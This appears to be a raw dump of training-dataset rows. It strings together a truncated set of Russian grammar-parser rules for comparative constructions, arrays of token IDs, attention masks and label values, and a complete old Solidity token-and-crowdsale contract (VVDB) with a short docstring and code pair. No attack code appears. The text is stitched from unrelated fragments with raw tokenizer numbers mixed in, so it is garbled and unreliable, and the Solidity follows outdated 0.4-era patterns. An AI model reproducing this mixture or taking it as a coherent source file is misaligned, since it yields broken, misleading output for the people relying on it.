if context { @or( ПРИЛАГАТЕЛЬНОЕ:* { СТЕПЕНЬ:СРАВН }, Наречие:* { СТЕПЕНЬ:СРАВН } ) _Запятая СОЮЗ:ЧЕМ{} NUMBER_ }
then
context { 0 .<ATTRIBUTE> 3 }
}
operator Comparative2Noun_4 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА сильнее, ЧЕМ ОНА'
if context { @or( ПРИЛАГАТЕЛЬНОЕ:* { СТЕПЕНЬ:СРАВН }, Наречие:* { СТЕПЕНЬ:СРАВН } ) _Запятая СОЮЗ:ЧЕМ{} МЕСТОИМЕНИЕ:*{ ПАДЕЖ:ИМ } }
then
context { 0 .<ATTRIBUTE> 3 }
}
operator Comparative2Noun_20 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА сильнее ЧЕМ СОБАКА'
if context { @or( ПРИЛАГАТЕЛЬНОЕ:* { СТЕПЕНЬ:СРАВН }, Наречие:* { СТЕПЕНЬ:СРАВН } ) СОЮЗ:ЧЕМ{} СУЩЕСТВИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } }
then
context { 0 .<ATTRIBUTE> 2 }
}
operator Comparative2Noun_21 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА сильнее ЧЕМ ОДНА СОБАКА'
if context { @or( ПРИЛАГАТЕЛЬНОЕ:* { СТЕПЕНЬ:СРАВН }, Наречие:* { СТЕПЕНЬ:СРАВН } ) СОЮЗ:ЧЕМ{} ЧИСЛИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } }
then
context { 0 .<ATTRIBUTE> 2 }
}
operator Comparative2Noun_22 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА сильнее ЧЕМ 1 СОБАКА'
if context { @or( ПРИЛАГАТЕЛЬНОЕ:* { СТЕПЕНЬ:СРАВН }, Наречие:* { СТЕПЕНЬ:СРАВН } ) СОЮЗ:ЧЕМ{} NUMBER_ }
then
context { 0 .<ATTRIBUTE> 2 }
}
operator Comparative2Noun_23 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА сильнее ЧЕМ ОНА'
if context { @or( ПРИЛАГАТЕЛЬНОЕ:* { СТЕПЕНЬ:СРАВН }, Наречие:* { СТЕПЕНЬ:СРАВН } ) СОЮЗ:ЧЕМ{} МЕСТОИМЕНИЕ:*{ ПАДЕЖ:ИМ } }
then
context { 0 .<ATTRIBUTE> 2 }
}
operator Comparative2Noun_30 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА сильнее СОБАКИ'
if context { @or( ПРИЛАГАТЕЛЬНОЕ:* { СТЕПЕНЬ:СРАВН }, Наречие:* { СТЕПЕНЬ:СРАВН } ) СУЩЕСТВИТЕЛЬНОЕ:*{ ПАДЕЖ:РОД } }
then
context { 0 .<ATTRIBUTE> 1 }
}
operator Comparative2Noun_31 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА сильнее ОДНОЙ СОБАКИ'
if context { @or( ПРИЛАГАТЕЛЬНОЕ:* { СТЕПЕНЬ:СРАВН }, Наречие:* { СТЕПЕНЬ:СРАВН } ) ЧИСЛИТЕЛЬНОЕ:*{ ПАДЕЖ:РОД } }
then
context { 0 .<ATTRIBUTE> 1 }
}
operator Comparative2Noun_32 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА сильнее 1 СОБАКИ'
if context { @or( ПРИЛАГАТЕЛЬНОЕ:* { СТЕПЕНЬ:СРАВН }, Наречие:* { СТЕПЕНЬ:СРАВН } ) NUMBER_ }
then
context { 0 .<ATTRIBUTE> 1 }
}
operator Comparative2Noun_33 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА сильнее МЕНЯ'
if context { @or( ПРИЛАГАТЕЛЬНОЕ:* { СТЕПЕНЬ:СРАВН }, Наречие:* { СТЕПЕНЬ:СРАВН } ) МЕСТОИМЕНИЕ:*{ ПАДЕЖ:РОД } }
then
context { 0 .<ATTRIBUTE> 1 }
}
// Формально далее описываются не сравнительные формы прилагательных, но семантика у них
// именно такая.
operator Comparative2Noun_40 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА ТАК ЖЕ СИЛЬНА, КАК СОБАКА'
if context {
СОЮЗ:ТАК ЖЕ{}
@or( ПРИЛАГАТЕЛЬНОЕ:* { КРАТКИЙ СТЕПЕНЬ:АТРИБ }, НАРЕЧИЕ )
_Запятая
СОЮЗ:КАК{}
СУЩЕСТВИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ }
}
then
context { 1 .<ATTRIBUTE_LIKE> 4 }
}
operator Comparative2Noun_41 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА ТАК ЖЕ СИЛЬНА, КАК ОДНА СОБАКА'
if context { СОЮЗ:ТАК ЖЕ{} @or( ПРИЛАГАТЕЛЬНОЕ:* { КРАТКИЙ СТЕПЕНЬ:АТРИБ }, НАРЕЧИЕ ) _Запятая СОЮЗ:КАК{} ЧИСЛИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } }
then
context { 1 .<ATTRIBUTE_LIKE> 4 }
}
operator Comparative2Noun_42 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА ТАК ЖЕ СИЛЬНА, КАК 1 СОБАКА'
if context { СОЮЗ:ТАК ЖЕ{} @or( ПРИЛАГАТЕЛЬНОЕ:* { КРАТКИЙ СТЕПЕНЬ:АТРИБ }, НАРЕЧИЕ ) _Запятая СОЮЗ:КАК{} NUMBER_ }
then
context { 1 .<ATTRIBUTE_LIKE> 4 }
}
operator Comparative2Noun_43 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА ТАК ЖЕ СИЛЬНА, КАК МЫ'
if context { СОЮЗ:ТАК ЖЕ{} @or( ПРИЛАГАТЕЛЬНОЕ:* { КРАТКИЙ СТЕПЕНЬ:АТРИБ }, НАРЕЧИЕ ) _Запятая СОЮЗ:КАК{} МЕСТОИМЕНИЕ:*{ ПАДЕЖ:ИМ } }
then
context { 1 .<ATTRIBUTE_LIKE> 4 }
}
operator Comparative2Noun_50 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК СОБАКА'
if context { ТАКАЯ ЖЕ ПРИЛАГАТЕЛЬНОЕ:* { ~КРАТКИЙ СТЕПЕНЬ:АТРИБ } _Запятая СОЮЗ:КАК{} СУЩЕСТВИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } }
correlate { 0:РОД=2 0:ЧИСЛО=2 0:ПАДЕЖ=2 }
then
context { 2 .<ATTRIBUTE_LIKE> 5 }
}
operator Comparative2Noun_51 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК ОДНА СОБАКА'
if context { ТАКАЯ ЖЕ ПРИЛАГАТЕЛЬНОЕ:* { ~КРАТКИЙ СТЕПЕНЬ:АТРИБ } _Запятая СОЮЗ:КАК{} ЧИСЛИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } }
correlate { 0:РОД=2 0:ЧИСЛО=2 0:ПАДЕЖ=2 }
then
context { 2 .<ATTRIBUTE_LIKE> 5 }
}
operator Comparative2Noun_52 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК 1 СОБАКА'
if context { ТАКАЯ ЖЕ ПРИЛАГАТЕЛЬНОЕ:* { ~КРАТКИЙ СТЕПЕНЬ:АТРИБ } _Запятая СОЮЗ:КАК{} NUMBER_ }
correlate { 0:РОД=2 0:ЧИСЛО=2 0:ПАДЕЖ=2 }
then
context { 2 .<ATTRIBUTE_LIKE> 5 }
}
operator Comparative2Noun_53 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК МЫ'
if context { ТАКАЯ ЖЕ ПРИЛАГАТЕЛЬНОЕ:* { ~КРАТКИЙ СТЕПЕНЬ:АТРИБ } _Запятая СОЮЗ:КАК{} МЕСТОИМЕНИЕ:*{ ПАДЕЖ:ИМ } }
correlate { 0:РОД=2 0:ЧИСЛО=2 0:ПАДЕЖ=2 }
then
context { 2 .<ATTRIBUTE_LIKE> 5 }
}
operator Comparative2Noun_60 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И СОБАКА'
if context { ТАКАЯ ЖЕ ПРИЛАГАТЕЛЬНОЕ:* { ~КРАТКИЙ СТЕПЕНЬ:АТРИБ } _Запятая СОЮЗ:КАК{} СОЮЗ:И{} СУЩЕСТВИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } }
correlate { 0:РОД=2 0:ЧИСЛО=2 0:ПАДЕЖ=2 }
then
context { 2 .<ATTRIBUTE_LIKE> 6 }
}
operator Comparative2Noun_61 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И ОДНА СОБАКА'
if context { ТАКАЯ ЖЕ ПРИЛАГАТЕЛЬНОЕ:* { ~КРАТКИЙ СТЕПЕНЬ:АТРИБ } _Запятая СОЮЗ:КАК{} СОЮЗ:И{} ЧИСЛИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } }
correlate { 0:РОД=2 0:ЧИСЛО=2 0:ПАДЕЖ=2 }
then
context { 2 .<ATTRIBUTE_LIKE> 6 }
}
operator Comparative2Noun_62 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И 1 СОБАКА'
if context { ТАКАЯ ЖЕ ПРИЛАГАТЕЛЬНОЕ:* { ~КРАТКИЙ СТЕПЕНЬ:АТРИБ } _Запятая СОЮЗ:КАК{} СОЮЗ:И{} NUMBER_ }
correlate { 0:РОД=2 0:ЧИСЛО=2 0:ПАДЕЖ=2 }
then
context { 2 .<ATTRIBUTE_LIKE> 6 }
}
operator Comparative2Noun_63 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И МЫ'
if context { ТАКАЯ ЖЕ ПРИЛАГАТЕЛЬНОЕ:* { ~КРАТКИЙ СТЕПЕНЬ:АТРИБ } _Запятая СОЮЗ:КАК{} СОЮЗ:И{} МЕСТОИМЕНИЕ:*{ ПАДЕЖ:ИМ } }
correlate { 0:РОД=2 0:ЧИСЛО=2 0:ПАДЕЖ=2 }
then
context { 2 .<ATTRIBUTE_LIKE> 6 }
}
}
| 'КОШКА сильнее ЧЕМ ОДНА СОБАКА' | {
then
}
operator Comparative2Noun_22 : LINK_COMPARATIVE_ADJ_2_NOUN
| 14,077,718 | [
1,
11,
145,
253,
145,
257,
145,
106,
145,
253,
145,
243,
225,
146,
228,
145,
121,
145,
124,
146,
239,
145,
126,
145,
118,
145,
118,
225,
145,
105,
145,
248,
145,
255,
225,
145,
257,
145,
247,
145,
256,
145,
243,
225,
145,
99,
145,
257,
145,
244,
145,
243,
145,
253,
145,
243,
11,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
288,
203,
282,
1508,
203,
289,
203,
203,
3726,
1286,
1065,
1535,
22,
50,
465,
67,
3787,
294,
22926,
67,
4208,
2778,
12992,
67,
1880,
46,
67,
22,
67,
3417,
2124,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract VVDB is StandardToken {
string public constant name = "Voorgedraaide van de Blue";
string public constant symbol = "VVDB";
uint256 public constant decimals = 18;
uint256 public constant initialSupply = 100000000 * (10 ** uint256(decimals));
function VVDB(address _ownerAddress) public {
totalSupply_ = initialSupply;
/*balances[_ownerAddress] = initialSupply;*/
balances[_ownerAddress] = 80000000 * (10 ** uint256(decimals));
balances[0xcD7f6b528F5302a99e5f69aeaa97516b1136F103] = 20000000 * (10 ** uint256(decimals));
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract VVDBCrowdsale is Ownable {
using SafeMath for uint256;
// The token being sold
VVDB public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei (or tokens per ETH)
uint256 public rate = 760;
// Amount of wei raised
uint256 public weiRaised;
uint256 public round1TokensRemaning = 6000000 * 1 ether;
uint256 public round2TokensRemaning = 6000000 * 1 ether;
uint256 public round3TokensRemaning = 6000000 * 1 ether;
uint256 public round4TokensRemaning = 6000000 * 1 ether;
uint256 public round5TokensRemaning = 6000000 * 1 ether;
uint256 public round6TokensRemaning = 6000000 * 1 ether;
mapping(address => uint256) round1Balances;
mapping(address => uint256) round2Balances;
mapping(address => uint256) round3Balances;
mapping(address => uint256) round4Balances;
mapping(address => uint256) round5Balances;
mapping(address => uint256) round6Balances;
uint256 public round1StartTime = 1522864800; //04/04/2018 @ 6:00pm (UTC)
uint256 public round2StartTime = 1522951200; //04/05/2018 @ 6:00pm (UTC)
uint256 public round3StartTime = 1523037600; //04/06/2018 @ 6:00pm (UTC)
uint256 public round4StartTime = 1523124000; //04/07/2018 @ 6:00pm (UTC)
uint256 public round5StartTime = 1523210400; //04/08/2018 @ 6:00pm (UTC)
uint256 public round6StartTime = 1523296800; //04/09/2018 @ 6:00pm (UTC)
uint256 public icoEndTime = 1524506400; //04/23/2018 @ 6:00pm (UTC)
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* Event for rate change
* @param owner owner of contract
* @param oldRate old rate
* @param newRate new rate
*/
event RateChanged(address indexed owner, uint256 oldRate, uint256 newRate);
/**
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
function VVDBCrowdsale(address _token, address _wallet) public {
require(_wallet != address(0));
require(_token != address(0));
wallet = _wallet;
token = VVDB(_token);
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
require(canBuyTokens(tokens));
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
updateRoundBalance(tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
function canBuyTokens(uint256 _tokens) internal constant returns (bool)
{
uint256 currentTime = now;
uint256 purchaserTokenSum = 0;
if (currentTime<round1StartTime || currentTime>icoEndTime) return false;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
purchaserTokenSum = _tokens + round1Balances[msg.sender];
return purchaserTokenSum <= (10000 * (10 ** uint256(18))) && _tokens <= round1TokensRemaning;
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
purchaserTokenSum = _tokens + round2Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round2TokensRemaning;
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
purchaserTokenSum = _tokens + round3Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round3TokensRemaning;
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
purchaserTokenSum = _tokens + round4Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round4TokensRemaning;
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
purchaserTokenSum = _tokens + round5Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round5TokensRemaning;
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
purchaserTokenSum = _tokens + round6Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round6TokensRemaning;
}
}
function updateRoundBalance(uint256 _tokens) internal
{
uint256 currentTime = now;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
round1Balances[msg.sender] = round1Balances[msg.sender].add(_tokens);
round1TokensRemaning = round1TokensRemaning.sub(_tokens);
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
round2Balances[msg.sender] = round2Balances[msg.sender].add(_tokens);
round2TokensRemaning = round2TokensRemaning.sub(_tokens);
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
round3Balances[msg.sender] = round3Balances[msg.sender].add(_tokens);
round3TokensRemaning = round3TokensRemaning.sub(_tokens);
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
round4Balances[msg.sender] = round4Balances[msg.sender].add(_tokens);
round4TokensRemaning = round4TokensRemaning.sub(_tokens);
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
round5Balances[msg.sender] = round5Balances[msg.sender].add(_tokens);
round5TokensRemaning = round5TokensRemaning.sub(_tokens);
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
round6Balances[msg.sender] = round6Balances[msg.sender].add(_tokens);
round6TokensRemaning = round6TokensRemaning.sub(_tokens);
}
}
/**
* @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal pure {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal pure {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal pure {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
function tokenBalance() constant public returns (uint256) {
return token.balanceOf(this);
}
/**
* @dev Change exchange rate of ether to tokens
* @param _rate Number of tokens per eth
*/
function changeRate(uint256 _rate) onlyOwner public returns (bool) {
emit RateChanged(msg.sender, rate, _rate);
rate = _rate;
return true;
}
/**
* @dev Method to check current rate
* @return Returns the current exchange rate
*/
function getRate() public view returns (uint256) {
return rate;
}
function transferBack(uint256 tokens) onlyOwner public returns (bool) {
token.transfer(owner, tokens);
return true;
}
} | The token being sold Address where funds are collected How many token units a buyer gets per wei (or tokens per ETH) Amount of wei raised | contract VVDBCrowdsale is Ownable {
using SafeMath for uint256;
VVDB public token;
address public wallet;
uint256 public rate = 760;
uint256 public weiRaised;
uint256 public round1TokensRemaning = 6000000 * 1 ether;
